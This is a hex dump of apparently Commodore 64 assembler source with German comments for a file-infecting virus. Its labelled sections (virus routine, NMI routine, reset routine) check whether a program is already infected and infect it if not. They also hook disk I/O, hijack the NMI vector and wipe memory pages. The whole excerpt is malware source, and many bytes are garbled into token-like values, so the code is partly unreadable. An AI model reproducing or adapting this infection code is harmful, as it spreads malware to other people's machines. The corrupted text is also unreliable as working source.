000031A0: 50 4C 41 00 B0 39 24 3B 4A 53 52 20 50 41 50 41 |PLA..9$;JSR PAPA|
000031B0: 00 B8 39 2E 3B 50 4C 41 00 C5 39 38 3B 4A 53 52 |..9.;PLA..98;JSR|
000031C0: 20 50 41 50 41 00 CD 39 42 3B 50 4C 41 00 DA 39 | PAPA..9B;PLA..9|
000031D0: 4C 3B 4A 4D 50 20 50 41 50 41 00 F9 39 80 3E 3B |L;JMP PAPA..9.>;|
000031E0: AB AB AB AB 49 45 43 4C 49 4E 4B AB AB AB AB AB |....IECLINK.....|
000031F0: AB AB AB AB AB AB AB AB B1 00 19 3A 81 3E 3B 49 |...........:.>;I|
00003200: 45 43 42 55 53 AB 52 4F 55 54 49 4E 45 4E 20 55 |ECBUS.ROUTINEN U|
00003210: 45 42 45 52 20 4C 49 4E 4B 00 29 3A 82 3E 3B 41 |EBER LINK.):.>;A|
00003220: 55 53 46 55 45 48 52 45 4E 00 4D 3A 8A 3E 42 4C |USFUEHREN.M:.>BL|
00003230: 41 43 4B 42 49 52 44 20 4A 53 52 20 4D 41 4B 45 |ACKBIRD JSR MAKE|
00003240: 20 3A 20 4A 53 52 20 53 45 54 50 41 52 00 55 3A | : JSR SETPAR.U:|
00003250: 94 3E 52 54 53 00 78 3A 9E 3E 48 41 43 B5 4F 53 |.>RTS.x:.>HAC.OS|
00003260: 48 20 4A 53 52 20 4D 41 4B 45 20 3A 20 4A 53 52 |H JSR MAKE : JSR|
00003270: 20 53 45 54 4E 41 4D 45 00 80 3A A8 3E 52 54 53 | SETNAME..:.>RTS|
00003280: 00 A2 3A B2 3E 48 41 4E 53 20 20 20 20 20 20 4A |..:.>HANS J|
00003290: 53 52 20 4D 41 4B 45 20 3A 20 4A 53 52 20 49 45 |SR MAKE : JSR IE|
000032A0: 43 9F 00 AA 3A BC 3E 52 54 53 00 CC 3A C6 3E 54 |C...:.>RTS..:.>T|
000032B0: 48 4F 4D 41 53 20 20 20 20 4A 53 52 20 4D 41 4B |HOMAS JSR MAK|
000032C0: 45 20 3A 20 4A 53 52 20 53 45 4B 9B 00 D4 3A D0 |E : JSR SEK...:.|
000032D0: 3E 52 54 53 00 F9 3A DA 3E 43 48 52 49 53 54 49 |>RTS..:.>CHRISTI|
000032E0: 4E 45 20 4A 53 52 20 4D 41 4B 45 20 3A 20 4A 53 |NE JSR MAKE : JS|
000032F0: 52 20 53 45 4B 54 41 4C 4B 00 01 3B E4 3E 52 54 |R SEKTALK..;.>RT|
00003300: 53 00 20 3B EE 3E 4E 45 4D 4F 20 20 20 20 20 20 |S. ;.>NEMO |
00003310: 4A 53 52 20 4D 41 4B 45 20 3A 20 4A 53 52 20 9B |JSR MAKE : JSR .|
00003320: 00 28 3B F8 3E 52 54 53 00 4A 3B 02 3F 53 41 53 |.(;.>RTS.J;.?SAS|
00003330: 4B 49 41 20 20 20 20 4A 53 52 20 4D 41 4B 45 20 |KIA JSR MAKE |
00003340: 3A 20 4A 53 52 20 54 41 4C 4B 00 52 3B 0C 3F 52 |: JSR TALK.R;.?R|
00003350: 54 53 00 73 3B 16 3F 47 41 52 46 49 45 4C 44 20 |TS.s;.?GARFIELD |
00003360: 20 4A 53 52 20 4D 41 4B 45 20 3A 20 4A 53 52 20 | JSR MAKE : JSR |
00003370: 55 4E 9B 00 7B 3B 20 3F 52 54 53 00 9F 3B 2A 3F |UN..{; ?RTS..;*?|
00003380: 53 55 48 41 4C 20 20 20 20 20 4A 53 52 20 4D 41 |SUHAL JSR MA|
00003390: 4B 45 20 3A 20 4A 53 52 20 55 4E 54 41 4C 4B 00 |KE : JSR UNTALK.|
000033A0: A7 3B 34 3F 52 54 53 00 CB 3B 3E 3F 50 41 50 41 |.;4?RTS..;>?PAPA|
000033B0: 20 20 20 20 20 20 4A 53 52 20 4D 41 4B 45 20 3A | JSR MAKE :|
000033C0: 20 4A 53 52 20 49 45 43 4F 55 54 00 D3 3B 48 3F | JSR IECOUT..;H?|
000033D0: 52 54 53 00 F5 3B 52 3F 42 48 50 20 20 20 20 20 |RTS..;R?BHP |
000033E0: 20 20 4A 53 52 20 4D 41 4B 45 20 3A 20 4A 53 52 | JSR MAKE : JSR|
000033F0: 20 49 45 43 A1 00 FD 3B 5C 3F 52 54 53 00 1C 3C | IEC...;\?RTS..<|
00003400: 66 3F 46 4A 53 20 20 20 20 20 20 20 4A 53 52 20 |f?FJS JSR |
00003410: 4D 41 4B 45 20 3A 20 4A 53 52 20 A0 00 24 3C 70 |MAKE : JSR ..$<p|
00003420: 3F 52 54 53 00 41 3C 20 4E 3B AB AB 42 45 54 52 |?RTS.A< N;..BETR|
00003430: 49 45 42 53 9E 54 45 4D AB 41 55 46 52 55 46 AB |IEBS.TEM.AUFRUF.|
00003440: B1 00 64 3C 2A 4E 4D 41 4B 45 20 50 48 50 20 20 |..d<*NMAKE PHP |
00003450: 20 20 3B 50 52 4F 5A 45 53 53 B0 AB 52 45 47 49 | ;PROZESS..REGI|
00003460: 53 54 45 52 00 7C 3C 34 4E 50 48 41 20 20 20 20 |STER.|<4NPHA |
00003470: 20 20 20 20 20 3B 52 45 54 54 45 4E 00 84 3C 3E | ;RETTEN..<>|
00003480: 4E 54 58 41 00 8C 3C 48 4E 50 48 41 00 94 3C 52 |NTXA..<HNPHA..<R|
00003490: 4E 54 59 41 00 9C 3C 5C 4E 50 48 41 00 BF 3C 66 |NTYA..<\NPHA..<f|
000034A0: 4E 54 53 58 20 20 20 20 20 20 20 20 20 3B 52 55 |NTSX ;RU|
000034B0: 45 43 4B 4B 45 48 52 AB 41 44 52 45 53 53 45 00 |ECKKEHR.ADRESSE.|
000034C0: DA 3C 70 4E 54 58 41 20 20 20 20 20 20 20 20 20 |.<pNTXA |
000034D0: 3B 42 45 52 45 43 48 4E 45 4E 00 E2 3C 7A 4E 43 |;BERECHNEN..<zNC|
000034E0: 4C 43 00 ED 3C 84 4E 41 04 43 20 23 35 00 F5 3C |LC..<.NA.C #5..<|
000034F0: 8E 4E 54 41 58 00 07 3D 98 4E 4C 44 41 20 24 30 |.NTAX..=.NLDA $0|
00003500: 31 30 30 2C 58 20 3B 00 1F 3D A2 4E 53 54 41 20 |100,X ;..=.NSTA |
00003510: 4D 45 4D 31 20 20 20 20 3B 4D 45 52 4B 45 4E 00 |MEM1 ;MERKEN.|
00003520: 31 3D AC 4E 43 4C 43 20 20 20 20 20 20 20 20 20 |1=.NCLC |
00003530: 3B 00 51 3D B6 4E 41 44 43 20 23 33 20 20 20 20 |;.Q=.NADC #3 |
00003540: 20 20 3B 55 4E 44 20 4B B0 52 49 47 49 45 52 45 | ;UND K.RIGIERE|
00003550: 4E 00 61 3D C0 4E 53 54 41 20 24 30 31 30 30 2C |N.a=.NSTA $0100,|
00003560: 58 00 82 3D CA 4E 50 48 50 20 20 20 20 20 20 20 |X..=.NPHP |
00003570: 20 20 3B 44 41 53 20 47 4C 45 49 43 48 45 20 4D | ;DAS GLEICHE M|
00003580: 49 54 00 9F 3D D4 4E 49 4E 58 20 20 20 20 20 20 |IT..=.NINX |
00003590: 20 20 20 3B 44 45 4D 20 4C 4F AB 42 59 54 45 00 | ;DEM LO.BYTE.|
000035A0: A7 3D DE 4E 50 4C 50 00 B7 3D E8 4E 4C 44 41 20 |.=.NPLP..=.NLDA |
000035B0: 24 30 31 30 30 2C 58 00 C4 3D F2 4E 53 54 41 20 |$0100,X..=.NSTA |
000035C0: 4D 45 4D 32 00 CF 3D FC 4E 41 44 43 20 23 30 00 |MEM2..=.NADC #0.|
000035D0: DF 3D 06 4F 53 54 41 20 24 30 31 30 30 2C 58 00 |.=.OSTA $0100,X.|
000035E0: EA 3D 10 4F 4C 44 59 20 23 33 00 FE 3D 1A 4F 4D |.=.OLDY #3..=.OM|
000035F0: 31 20 4C 44 41 20 28 4D 45 4D 31 29 2C 59 00 21 |1 LDA (MEM1),Y.!|
00003600: 3E 24 4F 53 54 41 20 4C 49 4E 4B AB 31 2C 59 3B |>$OSTA LINK.1,Y;|
00003610: 50 52 4F 47 52 41 4D 4D 54 45 49 4C 20 4E 41 43 |PROGRAMMTEIL NAC|
00003620: 48 00 40 3E 2E 4F 44 45 59 20 20 20 20 20 20 20 |H.@>.ODEY |
00003630: 20 20 3B 4C 49 4E 4B 20 4B 4F 50 49 45 52 45 4E | ;LINK KOPIEREN|
00003640: 00 4B 3E 38 4F 42 4E 45 20 4D 31 00 70 3E 42 4F |.K>8OBNE M1.p>BO|
00003650: 50 4C 41 20 20 20 20 20 20 20 20 20 3B 52 45 47 |PLA ;REG|
00003660: 49 53 54 45 52 20 52 45 50 41 52 49 45 52 45 4E |ISTER REPARIEREN|
00003670: 00 78 3E 4C 4F 54 41 59 00 80 3E 56 4F 50 4C 41 |.x>LOTAY..>VOPLA|
00003680: 00 88 3E 60 4F 54 41 58 00 90 3E 6A 4F 50 4C 41 |..>`OTAX..>jOPLA|
00003690: 00 98 3E 74 4F 50 4C 50 00 B8 3E 7E 4F 4A 4D 50 |..>tOPLP..>~OJMP|
000036A0: 20 4C 49 4E 4B AA 34 20 20 3B 55 4E 44 20 41 55 | LINK.4 ;UND AU|
000036B0: 53 46 55 45 48 52 45 4E 00 D6 3E 30 75 3B AB AB |SFUEHREN..>0u;..|
000036C0: AB AB AB AB 9E 54 45 4D AB AB AB AB AB AB AB AB |.....TEM........|
000036D0: AB AB AB AB B1 9E 00 E9 3E 3A 75 9E 54 45 4D 20 |........>:u.TEM |
000036E0: 4C 44 41 20 24 46 46 46 41 00 0B 3F 44 75 50 48 |LDA $FFFA..?DuPH|
000036F0: 41 20 20 20 20 20 20 20 20 20 3B 4E 4D 49 AB 56 |A ;NMI.V|
00003700: 45 4B A4 52 20 52 45 54 54 45 0E 00 1D 3F 4E 75 |EK.R RETTE...?Nu|
00003710: 4C 44 41 20 24 46 46 46 42 20 20 20 3B 00 2F 3F |LDA $FFFB ;./?|
00003720: 58 75 50 48 41 20 20 20 20 20 20 20 20 20 3B 00 |XuPHA ;.|
00003730: 4E 3F 62 75 4C 44 41 20 23 B3 8E 3B 55 4E 44 20 |N?buLDA #..;UND |
00003740: 41 55 46 20 52 54 49 20 53 45 54 5A 45 0E 00 60 |AUF RTI SETZE..`|
00003750: 3F 6C 75 53 54 41 20 24 46 46 46 41 20 20 20 3B |?luSTA $FFFA ;|
00003760: 00 6C 3F 76 75 4C 44 41 20 23 B1 8E 00 7A 3F 80 |.l?vuLDA #...z?.|
00003770: 75 53 54 41 20 24 46 46 46 42 00 8C 3F 8A 75 4C |uSTA $FFFB..?.uL|
00003780: 44 41 20 4D 45 4D 31 20 20 20 20 3B 00 9E 3F 94 |DA MEM1 ;..?.|
00003790: 75 50 48 41 20 20 20 20 20 20 20 20 20 3B 00 B0 |uPHA ;..|
000037A0: 3F 9E 75 4C 44 41 20 4D 45 4D 32 20 20 20 20 3B |?.uLDA MEM2 ;|
000037B0: 00 D3 3F A8 75 50 48 41 20 20 20 20 20 20 20 20 |..?.uPHA |
000037C0: 20 3B 44 49 56 45 52 53 45 20 53 50 45 49 43 48 | ;DIVERSE SPEICH|
000037D0: 45 52 AB 00 F4 3F B2 75 4C 44 41 20 4D 45 4D 33 |ER...?.uLDA MEM3|
000037E0: 20 20 20 20 3B 53 54 45 4C C3 20 52 45 54 54 45 | ;STEL. RETTE|
000037F0: 4E 2E 2E 2E 00 06 40 BC 75 50 48 41 20 20 20 20 |N.....@.uPHA |
00003800: 20 20 20 20 20 3B 00 18 40 C6 75 4C 44 41 20 4D | ;..@.uLDA M|
00003810: 45 4D 34 20 20 20 20 3B 00 2A 40 D0 75 50 48 41 |EM4 ;.*@.uPHA|
00003820: 20 20 20 20 20 20 20 20 20 3B 00 4B 40 DA 75 54 | ;.K@.uT|
00003830: 58 41 20 20 20 20 20 20 20 20 20 3B 58 AA 59 20 |XA ;X.Y |
00003840: 56 B0 55 45 42 45 52 47 45 48 80 00 63 40 E4 75 |V.UEBERGEH..c@.u|
00003850: 50 48 41 20 20 20 20 20 20 20 20 20 3B 52 45 54 |PHA ;RET|
00003860: 54 45 4E 00 6B 40 EE 75 54 59 41 00 73 40 F8 75 |TEN.k@.uTYA.s@.u|
00003870: 50 48 41 00 97 40 F9 75 4A 53 52 20 52 45 49 4E |PHA..@.uJSR REIN|
00003880: 53 54 20 20 3B 5A 45 49 47 45 52 20 55 45 42 45 |ST ;ZEIGER UEBE|
00003890: 52 50 52 55 46 45 4E 00 B7 40 FA 75 50 4C 41 20 |RPRUFEN..@.uPLA |
000038A0: 20 20 20 20 20 20 20 20 3B 58 AA 59 20 57 49 45 | ;X.Y WIE|
000038B0: 44 45 52 20 48 4F C3 00 BF 40 FB 75 54 41 59 00 |DER HO...@.uTAY.|
000038C0: C7 40 FC 75 50 4C 41 00 CF 40 FD 75 54 41 58 00 |.@.uPLA..@.uTAX.|
000038D0: DE 40 03 76 4C 44 41 20 49 52 51 50 AA 31 00 E6 |.@.vLDA IRQP.1..|
000038E0: 40 04 76 50 48 41 00 F3 40 05 76 4C 44 41 20 49 |@.vPHA..@.vLDA I|
000038F0: 52 51 50 00 FB 40 06 76 50 48 41 00 15 41 0C 76 |RQP..@.vPHA..A.v|
00003900: 4C 44 41 20 23 B3 49 52 51 45 20 20 3B B5 45 52 |LDA #.IRQE ;.ER|
00003910: 52 55 50 54 53 00 33 41 16 76 53 54 41 20 49 52 |RUPTS.3A.vSTA IR|
00003920: 51 50 20 20 20 20 3B 45 4E 54 53 43 48 41 45 52 |QP ;ENTSCHAER|
00003930: 46 45 4E 00 42 41 20 76 4C 44 41 20 23 B1 49 52 |FEN.BA vLDA #.IR|
00003940: 51 45 00 51 41 2A 76 53 54 41 20 49 52 51 50 AA |QE.QA*vSTA IRQP.|
00003950: 31 00 60 41 34 76 4C 44 41 20 23 B3 4E 4D 49 45 |1.`A4vLDA #.NMIE|
00003960: 00 6D 41 3E 76 53 54 41 20 4E 4D 49 50 00 7C 41 |.mA>vSTA NMIP.|A|
00003970: 48 76 4C 44 41 20 23 B1 4E 4D 49 45 00 8B 41 52 |HvLDA #.NMIE..AR|
00003980: 76 53 54 41 20 4E 4D 49 50 AA 31 00 93 41 53 76 |vSTA NMIP.1..ASv|
00003990: 54 58 41 00 AF 41 54 76 50 48 41 20 20 20 20 20 |TXA..ATvPHA |
000039A0: 20 20 20 20 3B 58 AA 59 20 52 45 54 54 45 4E 00 | ;X.Y RETTEN.|
000039B0: C1 41 55 76 54 59 41 20 20 20 20 20 20 20 20 20 |.AUvTYA |
000039C0: 3B 00 D3 41 56 76 50 48 41 20 20 20 20 20 20 20 |;..AVvPHA |
000039D0: 20 20 3B 00 F5 41 5C 76 54 53 58 20 20 20 20 20 | ;..A\vTSX |
000039E0: 20 20 20 20 3B 50 41 52 41 4D 45 54 45 52 20 41 | ;PARAMETER A|
000039F0: 55 46 47 8A 44 00 1B 42 66 76 54 58 41 20 20 20 |UFG.D..BfvTXA |
00003A00: 20 20 20 20 20 20 3B 44 45 53 20 53 54 41 43 4B | ;DES STACK|
00003A10: 53 20 42 45 52 45 43 48 4E 45 4E 00 2D 42 70 76 |S BERECHNEN.-Bpv|
00003A20: 43 4C 43 20 20 20 20 20 20 20 20 20 3B 00 3F 42 |CLC ;.?B|
00003A30: 7A 76 41 44 43 20 23 31 36 20 20 20 20 20 3B 00 |zvADC #16 ;.|
00003A40: 47 42 84 76 54 41 58 00 4F 42 8E 76 43 4C 43 00 |GB.vTAX.OB.vCLC.|
00003A50: 6E 42 98 76 4C 44 41 20 24 30 31 30 30 2C 58 20 |nB.vLDA $0100,X |
00003A60: 3B 4C 4F AB 5A 45 49 47 45 52 20 48 4F C3 00 8D |;LO.ZEIGER HO...|
00003A70: 42 A2 76 41 44 43 20 23 31 20 20 20 20 20 20 3B |B.vADC #1 ;|
00003A80: 52 55 45 43 4B 53 50 8A 47 20 4E 45 55 00 AC 42 |RUECKSP.G NEU..B|
00003A90: AC 76 53 54 41 20 4D 45 4D 31 20 20 20 20 3B 42 |.vSTA MEM1 ;B|
00003AA0: 45 52 45 43 48 4E 45 4E 20 55 4E 44 00 C7 42 B6 |ERECHNEN UND..B.|
00003AB0: 76 53 54 41 20 24 30 31 30 30 2C 58 20 3B 53 50 |vSTA $0100,X ;SP|
00003AC0: 45 49 43 48 45 52 4E 00 D9 42 C0 76 50 48 50 20 |EICHERN..B.vPHP |
00003AD0: 20 20 20 20 20 20 20 20 3B 00 EB 42 CA 76 49 4E | ;..B.vIN|
00003AE0: 58 20 20 20 20 20 20 20 20 20 3B 00 0F 43 D4 76 |X ;..C.v|
00003AF0: 50 4C 50 20 20 20 20 20 20 20 20 20 3B 44 41 53 |PLP ;DAS|
00003B00: 20 47 4C 45 49 43 48 45 20 4D 49 54 20 48 49 00 | GLEICHE MIT HI.|
00003B10: 21 43 DE 76 4C 44 41 20 24 30 31 30 30 2C 58 20 |!C.vLDA $0100,X |
00003B20: 3B 00 33 43 E8 76 41 44 43 20 23 30 20 20 20 20 |;.3C.vADC #0 |
00003B30: 20 20 3B 00 45 43 F2 76 53 54 41 20 4D 45 4D 32 | ;.EC.vSTA MEM2|
00003B40: 20 20 20 20 3B 00 57 43 FC 76 53 54 41 20 24 30 | ;.WC.vSTA $0|
00003B50: 31 30 30 2C 58 20 3B 00 62 43 06 77 4C 44 59 20 |100,X ;.bC.wLDY |
00003B60: 23 30 00 73 43 10 77 4C 44 41 20 28 4D 45 4D 31 |#0.sC.wLDA (MEM1|
00003B70: 29 2C 59 00 80 43 1A 77 43 4D 50 20 23 31 32 38 |),Y..C.wCMP #128|
00003B80: 00 8B 43 24 77 42 45 51 20 9E 93 00 97 43 2E 77 |..C$wBEQ ....C.w|
00003B90: 43 4D 50 20 23 36 34 00 A2 43 38 77 42 45 51 20 |CMP #64..C8wBEQ |
00003BA0: 9E 94 00 AE 43 42 77 43 4D 50 20 23 31 36 00 BB |....CBwCMP #16..|
00003BB0: 43 4C 77 42 45 51 20 9E 4E 4D 49 00 CB 43 74 77 |CLwBEQ .NMI..Ctw|
00003BC0: 9E 80 20 4A 53 52 20 4D 41 4B 45 00 EE 43 7E 77 |.. JSR MAKE..C~w|
00003BD0: 4C 44 41 20 4E 4D 49 54 41 48 20 20 3B 4E 4D 49 |LDA NMITAH ;NMI|
00003BE0: AB 54 49 4D 45 52 20 41 42 46 52 41 47 45 00 FC |.TIMER ABFRAGE..|
00003BF0: 43 88 77 42 45 51 20 9E 80 20 20 3B 00 0E 44 92 |C.wBEQ .. ;..D.|
00003C00: 77 4A 53 52 20 4D 41 4B 45 20 20 20 20 3B 00 20 |wJSR MAKE ;. |
00003C10: 44 9C 77 4C 44 41 20 4E 4D 49 54 42 48 20 20 3B |D.wLDA NMITBH ;|
00003C20: 00 2B 44 A6 77 42 45 51 20 9E 80 00 45 44 A7 77 |.+D.wBEQ ...ED.w|
00003C30: 50 4C 41 20 20 20 20 20 20 20 20 20 3B 52 45 47 |PLA ;REG|
00003C40: 49 53 54 45 52 00 63 44 A8 77 54 41 59 20 20 20 |ISTER.cD.wTAY |
00003C50: 20 20 20 20 20 20 3B 52 45 53 54 41 55 52 49 45 | ;RESTAURIE|
00003C60: 52 45 4E 00 6B 44 A9 77 50 4C 41 00 73 44 AA 77 |REN.kD.wPLA.sD.w|
00003C70: 54 41 58 00 93 44 B0 77 50 4C 41 20 20 20 20 20 |TAX..D.wPLA |
00003C80: 20 20 20 20 3B B5 45 52 55 50 54 53 20 57 49 45 | ;.ERUPTS WIE|
00003C90: 44 45 52 00 B1 44 BA 77 53 54 41 20 49 52 51 50 |DER..D.wSTA IRQP|
00003CA0: 20 20 20 20 3B 52 45 B0 47 41 4E 49 53 49 45 52 | ;RE.GANISIER|
00003CB0: 4E 00 B9 44 C4 77 50 4C 41 00 C8 44 CE 77 53 54 |N..D.wPLA..D.wST|
00003CC0: 41 20 49 52 51 50 AA 31 00 D7 44 D8 77 4C 44 41 |A IRQP.1..D.wLDA|
00003CD0: 20 23 B3 4E 4D 49 31 00 E4 44 E2 77 53 54 41 20 | #.NMI1..D.wSTA |
00003CE0: 4E 4D 49 50 00 F3 44 EC 77 4C 44 41 20 23 B1 4E |NMIP..D.wLDA #.N|
00003CF0: 4D 49 31 00 02 45 F6 77 53 54 41 20 4E 4D 49 50 |MI1..E.wSTA NMIP|
00003D00: AA 31 00 20 45 28 78 9E 9A 20 50 4C 41 20 3B 44 |.1. E(x.. PLA ;D|
00003D10: 49 56 45 52 53 45 20 53 50 45 49 43 48 45 52 AB |IVERSE SPEICHER.|
00003D20: 00 37 45 32 78 53 54 41 20 4D 45 4D 34 20 20 20 |.7E2xSTA MEM4 |
00003D30: 20 3B 53 54 45 4C C3 00 53 45 3C 78 50 4C 41 20 | ;STEL..SE<xPLA |
00003D40: 20 20 20 20 20 20 20 20 3B 52 45 50 41 52 49 45 | ;REPARIE|
00003D50: 52 45 4E 00 60 45 46 78 53 54 41 20 4D 45 4D 33 |REN.`EFxSTA MEM3|
00003D60: 00 68 45 50 78 50 4C 41 00 75 45 5A 78 53 54 41 |.hEPxPLA.uEZxSTA|
00003D70: 20 4D 45 4D 32 00 7D 45 64 78 50 4C 41 00 8A 45 | MEM2.}EdxPLA..E|
00003D80: 6E 78 53 54 41 20 4D 45 4D 31 00 AF 45 78 78 50 |nxSTA MEM1..ExxP|
00003D90: 4C 41 20 20 20 20 20 20 20 20 20 3B 4E 4D 49 56 |LA ;NMIV|
00003DA0: 45 4B A4 52 20 52 45 50 41 52 49 45 52 45 4E 00 |EK.R REPARIEREN.|
00003DB0: BD 45 82 78 53 54 41 20 24 46 46 46 42 00 C5 45 |.E.xSTA $FFFB..E|
00003DC0: 8C 78 50 4C 41 00 D3 45 96 78 53 54 41 20 24 46 |.xPLA..E.xSTA $F|
00003DD0: 46 46 41 00 DB 45 A0 78 52 54 53 00 F8 45 18 79 |FFA..E.xRTS..E.y|
00003DE0: 3B AB AB AB AB 56 49 52 55 53 AB 93 AB 52 4F 55 |;....VIRUS...ROU|
00003DF0: 54 49 4E 45 AB AB B1 4C 00 07 46 22 79 9E 93 20 |TINE...L..F"y.. |
00003E00: 20 4C 44 59 20 23 31 00 1A 46 2C 79 4C 44 01 20 | LDY #1..F,yLD. |
00003E10: 28 42 41 53 49 43 53 29 2C 59 00 3C 46 36 79 42 |(BASICS),Y.<F6yB|
00003E20: 45 51 20 9E 80 20 20 3B 55 45 42 45 52 50 52 55 |EQ .. ;UEBERPRU|
00003E30: 45 46 45 20 4F 42 20 56 49 52 55 53 00 5E 46 40 |EFE OB VIRUS.^F@|
00003E40: 79 4C 44 59 20 23 33 31 20 20 20 20 20 3B 53 43 |yLDY #31 ;SC|
00003E50: 48 91 20 49 4D 20 53 50 45 49 43 48 45 52 00 73 |H. IM SPEICHER.s|
00003E60: 46 4A 79 4C 44 58 20 23 32 36 20 20 20 20 20 3B |FJyLDX #26 ;|
00003E70: 49 53 54 00 89 46 54 79 4C 31 20 4C 44 41 20 28 |IST..FTyL1 LDA (|
00003E80: 42 41 53 49 43 53 29 2C 59 00 99 46 5E 79 43 4D |BASICS),Y..F^yCM|
00003E90: 50 20 56 49 52 55 53 2C 58 00 BA 46 68 79 42 4E |P VIRUS,X..FhyBN|
00003EA0: 45 20 9E 94 20 3B 4E 45 49 4E 2C 20 44 41 4E 4E |E .. ;NEIN, DANN|
00003EB0: 20 56 45 52 53 45 55 43 48 45 00 C2 46 72 79 44 | VERSEUCHE..FryD|
00003EC0: 45 59 00 CA 46 7C 79 44 45 58 00 D5 46 86 79 42 |EY..F|yDEX..F.yB|
00003ED0: 4E 45 20 4C 31 00 F3 46 90 79 50 4C 41 20 20 20 |NE L1..F.yPLA |
00003EE0: 20 20 20 20 20 20 3B 80 41 44 52 45 53 53 45 20 | ;.ADRESSE |
00003EF0: 48 4F C3 00 00 47 9A 79 53 54 41 20 93 45 AA 31 |HO...G.ySTA .E.1|
00003F00: 00 08 47 A4 79 50 4C 41 00 13 47 AE 79 53 54 41 |..G.yPLA..G.ySTA|
00003F10: 20 93 45 00 39 47 B8 79 4A 53 52 20 4D 4F 56 45 | .E.9G.yJSR MOVE|
00003F20: 20 20 20 20 3B 50 52 4F 47 52 41 4D 4D 20 49 4D | ;PROGRAMM IM|
00003F30: 20 53 50 45 49 43 48 45 52 00 53 47 C2 79 4C 44 | SPEICHER.SG.yLD|
00003F40: 41 20 93 45 20 20 20 3B 56 45 52 53 43 48 49 45 |A .E ;VERSCHIE|
00003F50: 42 45 4E 00 5B 47 CC 79 50 48 41 00 72 47 D6 79 |BEN.[G.yPHA.rG.y|
00003F60: 4C 44 41 20 93 45 AA 31 20 3B 93 41 44 52 45 53 |LDA .E.1 ;.ADRES|
00003F70: 53 45 00 8E 47 E0 79 50 48 41 20 20 20 20 20 20 |SE..G.yPHA |
00003F80: 20 20 20 3B 4B B0 52 49 47 49 45 52 45 4E 00 99 | ;K.RIGIEREN..|
00003F90: 47 EA 79 4A 4D 50 20 9E 80 00 B6 47 00 7D 3B AB |G.yJMP ....G.};.|
00003FA0: AB AB AB 56 49 52 55 53 AB 94 AB 52 4F 55 54 49 |...VIRUS...ROUTI|
00003FB0: 4E 45 AB AB AB B1 00 D2 47 0A 7D 9E 94 20 4C 44 |NE......G.}.. LD|
00003FC0: 41 20 44 45 56 20 3B 55 45 42 45 52 50 52 55 45 |A DEV ;UEBERPRUE|
00003FD0: 46 45 00 F8 47 14 7D 43 4D 50 20 23 24 30 38 20 |FE..G.}CMP #$08 |
00003FE0: 20 20 20 20 20 20 20 3B 4F 42 20 44 45 56 49 43 | ;OB DEVIC|
00003FF0: 45 20 46 4C 4F 50 50 59 00 0D 48 1E 7D 42 43 43 |E FLOPPY..H.}BCC|
00004000: 20 9E 80 20 20 20 20 20 20 3B 49 53 54 00 1A 48 | .. ;IST..H|
00004010: 28 7D 4A 53 52 20 44 4F 49 54 00 3B 48 32 7D 4A |(}JSR DOIT.;H2}J|
00004020: 4D 50 20 9E 80 20 20 3B 50 52 4F 47 52 41 4D 4D |MP .. ;PROGRAMM|
00004030: 20 56 45 52 53 45 55 43 48 45 4E 00 5B 48 E8 80 | VERSEUCHEN.[H..|
00004040: 3B AB AB AB AB 56 49 52 55 53 AB 4E 4D 49 AB 52 |;....VIRUS.NMI.R|
00004050: 4F 55 54 49 4E 45 AB AB AB AB B1 00 6D 48 F2 80 |OUTINE......mH..|
00004060: 9E 4E 4D 49 20 4A 53 52 20 4D 41 4B 45 00 8C 48 |.NMI JSR MAKE..H|
00004070: FC 80 4A 53 52 20 90 20 20 20 3B 90 AB 54 41 53 |..JSR . ;..TAS|
00004080: 54 45 20 47 45 44 52 55 45 43 4B 54 00 A0 48 06 |TE GEDRUECKT..H.|
00004090: 81 42 4E 45 20 9E 80 20 3B AB AB B1 4E 45 49 4E |.BNE .. ;...NEIN|
000040A0: 00 AD 48 10 81 4A 53 52 20 4D 41 4B 45 00 CC 48 |..H..JSR MAKE..H|
000040B0: 1A 81 4A 53 52 20 24 46 44 31 35 20 20 3B 56 45 |..JSR $FD15 ;VE|
000040C0: 4B A4 52 45 4E 20 53 45 54 5A 45 4E 00 E7 48 24 |K.REN SETZEN..H$|
000040D0: 81 4A 53 52 20 52 45 49 4E 53 54 20 3B 56 49 52 |.JSR REINST ;VIR|
000040E0: 55 53 20 49 4E 09 54 00 06 49 2E 81 4C 44 58 20 |US IN.T..I..LDX |
000040F0: 23 24 30 31 20 20 20 3B 53 54 41 43 4B 20 22 50 |#$01 ;STACK "P|
00004100: 55 54 5A 45 4E 22 00 0E 49 38 81 54 58 53 00 1B |UTZEN"..I8.TXS..|
00004110: 49 42 81 4A 53 52 20 4D 41 4B 45 00 3E 49 4C 81 |IB.JSR MAKE.>IL.|
00004120: 4A 4D 50 20 24 46 45 36 39 20 20 3B 53 C0 44 41 |JMP $FE69 ;S.DA|
00004130: 52 54 4E 4D 49 20 56 B0 53 45 54 5A 45 4E 00 5E |RTNMI V.SETZEN.^|
00004140: 49 D0 84 3B AB AB 56 49 52 55 53 AB 52 45 53 45 |I..;..VIRUS.RESE|
00004150: 54 AB 52 4F 55 54 49 4E 45 AB AB AB AB B1 00 74 |T.ROUTINE......t|
00004160: 49 DA 84 9E 52 45 53 45 54 20 4A 53 52 20 52 45 |I...RESET JSR RE|
00004170: 4C 49 4E 4B 00 7F 49 DB 84 4C 44 58 20 23 30 00 |LINK..I..LDX #0.|
00004180: 8C 49 DF 84 4A 53 52 20 4D 41 4B 45 00 AE 49 E4 |.I..JSR MAKE..I.|
00004190: 84 53 54 58 20 24 44 30 31 36 20 20 20 3B B0 47 |.STX $D016 ;.G|
000041A0: 49 4E 41 4C A4 4E 20 22 52 45 53 45 54 22 00 BB |INAL.N "RESET"..|
000041B0: 49 F8 84 4A 53 52 20 4D 41 4B 45 00 C9 49 02 85 |I..JSR MAKE..I..|
000041C0: 4A 53 52 20 24 46 44 41 33 00 D6 49 16 85 4C 44 |JSR $FDA3..I..LD|
000041D0: 41 20 23 24 30 30 00 DE 49 20 85 54 41 59 00 F1 |A #$00..I .TAY..|
000041E0: 49 2A 85 9E 52 20 53 54 41 20 24 30 30 30 32 2C |I*..R STA $0002,|
000041F0: 59 00 16 4A 34 85 53 54 41 20 24 30 32 30 30 2C |Y..J4.STA $0200,|
00004200: 59 20 3B 50 41 47 45 20 30 2C 32 2C 33 20 4C 4F |Y ;PAGE 0,2,3 LO|
00004210: 45 53 43 48 45 4E 00 26 4A 3E 85 53 54 41 20 24 |ESCHEN.&J>.STA $|
00004220: 30 33 30 30 2C 59 00 2E 4A 48 85 49 4E 59 00 39 |0300,Y..JH.INY.9|
